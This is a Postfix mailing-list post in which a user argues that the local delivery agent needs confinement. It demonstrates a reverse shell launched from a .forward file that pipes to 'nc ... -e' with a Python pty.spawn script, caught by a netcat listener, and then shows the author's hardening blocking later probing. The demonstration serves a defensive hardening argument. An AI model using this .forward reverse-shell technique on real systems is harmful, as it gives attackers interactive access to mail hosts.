On 2024-12-20 19:02, Wietse Venema via Postfix-users wrote:
>
>> You say "local is non-chrootable" - I say local is the mostly exposed,
>> running user-provided content, binary and environment. It's the local
>> which can exploit CVE in your kernel. You're not preventing any of this.
>
> I think that statements like this are disqualifying their speaker from
> this discussion.
######## target system ########
/etc/mail# cp main.cf.orig main.cf
# systemctl restart postfix
target $ cat .forward
"| nc 10.1.16.9 1919 -e ~target/.forward_shell2.py"
target $ cat .forward_shell2.py
#!/usr/bin/python
import pty
import os
os.environ["TERM"] = "xterm-256color"
pty.spawn('/bin/zsh')
######## just some trigger ########
whatever $ echo | sendmail target@localhost
######## controlling host ########
~: stty -icanon -isig -echo; nc -vnlp 1919; stty -raw -echo
listening on [any] 1919 ...
connect to [10.1.16.9] from (UNKNOWN) [A.B.C.D] 52420
target /var/spool/postfix: ls [tab]
directory
active/ corrupt/ deferred/ hold/ maildrop/ private/ saved/
bounce/ defer/ flush/ incoming/ pid/ public/ trace/
########
If that's not and issue and doesn't disturb anyone, then I must have
wasted some time building several countermeasures and you might stop
reading here.
The last line of defense is restricted device access and immutable
environment (r/o nosuid filesystems, kernel modules, sysctls, etc.),
no CAP_NET_ADMIN (nft, ip), raw sockets (no tcpdump and so on).
Before that are removed things like AF_NETLINK, namespaces or process
isolation, as well as noexec for every writtable filesystem left:
######## preventing at least some automated abusers ########
target /var/spool/postfix: ps axw
Error: /proc must be mounted
To mount /proc at boot you need an /etc/fstab line like:
proc /proc proc defaults
In the meantime, run "mount proc /proc -t proc"
target /var/spool/postfix: ls /proc/
total 0
dr-xr-xr-x 9 target users 0 2024-12-21 02:15 3890/
dr-xr-xr-x 9 target users 0 2024-12-21 02:15 3891/
dr-xr-xr-x 9 target users 0 2024-12-21 02:15 3913/
lrwxrwxrwx 1 65534 nogroup 0 2024-12-21 02:14 self -> 3913/
lrwxrwxrwx 1 65534 nogroup 0 2024-12-21 02:14 thread-self -> 3913/task/3913/
target /var/spool/postfix: su - [no password query, just timeout]
su: Authentication failure [due to SUID not working]
target /var/spool/postfix: unshare -U /bin/sh
unshare: unshare failed: No space left on device
target /var/spool/postfix: ls /dev
total 0
drwxr-xr-x 7 root root 400 2024-12-21 02:14 ./
drwxr-xr-x 1 root root 190 2024-11-03 16:48 ../
drwxr-xr-x 2 root root 160 2024-12-21 02:14 char/
lrwxrwxrwx 1 root root 11 2024-12-21 02:14 core -> /proc/kcore
lrwxrwxrwx 1 root root 13 2024-12-21 02:14 fd -> /proc/self/fd/
crw-rw-rw- 1 root root 1, 7 2024-11-03 19:08 full
drwxr-xr-x 2 root root 40 2024-12-21 02:14 hugepages/
lrwxrwxrwx 1 root root 28 2024-12-21 02:14 log ->
/run/systemd/journal/dev-log=
drwxrwxrwt 2 65534 nogroup 40 2024-11-03 19:08 mqueue/
crw-rw-rw- 1 root root 1, 3 2024-11-03 19:08 null
lrwxrwxrwx 1 root root 8 2024-12-21 02:14 ptmx -> pts/ptmx
drwxr-xr-x 2 root root 0 2024-11-03 19:08 pts/
crw-rw-rw- 1 root root 1, 8 2024-11-03 19:08 random
drwxrwxrwt 2 root root 40 2024-11-08 12:27 shm/
lrwxrwxrwx 1 root root 15 2024-12-21 02:14 stderr -> /proc/self/fd/2
lrwxrwxrwx 1 root root 15 2024-12-21 02:14 stdin -> /proc/self/fd/0
lrwxrwxrwx 1 root root 15 2024-12-21 02:14 stdout -> /proc/self/fd/1
crw-rw-rw- 1 root root 5, 0 2024-12-21 02:14 tty
crw-rw-rw- 1 root root 1, 9 2024-11-03 19:08 urandom
crw-rw-rw- 1 root root 1, 5 2024-11-03 19:08 zero
target /var/spool/postfix: journalctl
Hint: You are currently not seeing messages from other users and the system.
Users in groups 'adm', 'systemd-journal', 'wheel' can see all messages.
Pass -q to turn off this notice.
Failed to get boot id: No such file or directory
target /var/spool/postfix: id
uid=10XY(target) gid=1000(users)
groups=1000(users),4(adm),10(wheel),17(proc),24(video),68(tape),78(usb),84(fuse),124(logs),288(systemd-journal)
######## yes, I did the test on privileged user! ########
######## and his privileges were suppressed, uff ########
target /tmp: cp /bin/ps .
target /tmp: ./ps
zsh: permission denied: ./ps
target /dev/shm: touch asd
touch: cannot touch 'asd': Read-only file system
######## preventing some classes of malicious payloads ########
~: stty -icanon -isig -echo; nc -vnlp 1919; stty -raw -echo
listening on [any] 1919 ...
connect to [10.1.16.9] from (UNKNOWN) [A.B.C.D] 38556
Traceback (most recent call last):
File "/home/users/target/.forward_shell2.py", line 8, in <module>
pty.spawn('/bin/zsh')
File "/usr/lib64/python2.7/pty.py", line 165, in spawn
File "/usr/lib64/python2.7/pty.py", line 107, in fork
File "/usr/lib64/python2.7/pty.py", line 29, in openpty
File "/usr/lib64/python2.7/pty.py", line 70, in _open_terminal
OSError: out of pty devices
~: stty -icanon -isig -echo; nc -vnlp 1919; stty -raw -echo
listening on [any] 1919 ...
connect to [10.1.16.9] from (UNKNOWN) [A.B.C.D] 52770
exec /home/users/target/.forward_shell.py failed : Permission denied
######## end of demo ########
This kind of abuse is deployed every day since I can remember (and I
recall doing this via some FTP server more than 25 years ago).
It enables one to escalate some trivial webapp bug to full holding
account access, and then probing the host system for other pathways
and peek/poking with network surrounding.
[Emphasizing: service account, like some PHP webapp, not expected to
run _any_ code except from php-fpm which might be hardened already.]
The real problem is I can't really confine local, as it's the same
CGroup as the rest of postfix, so the holes punched for example for
postfix-script cannot be sealed and are kept for good.
But sure, I might be imagining all of this, so I'll probably just
stop grumbling.
_______________________________________________
Postfix-users mailing list -- postfix-users@postfix.org
To unsubscribe send an email to postfix-users-le...@postfix.org
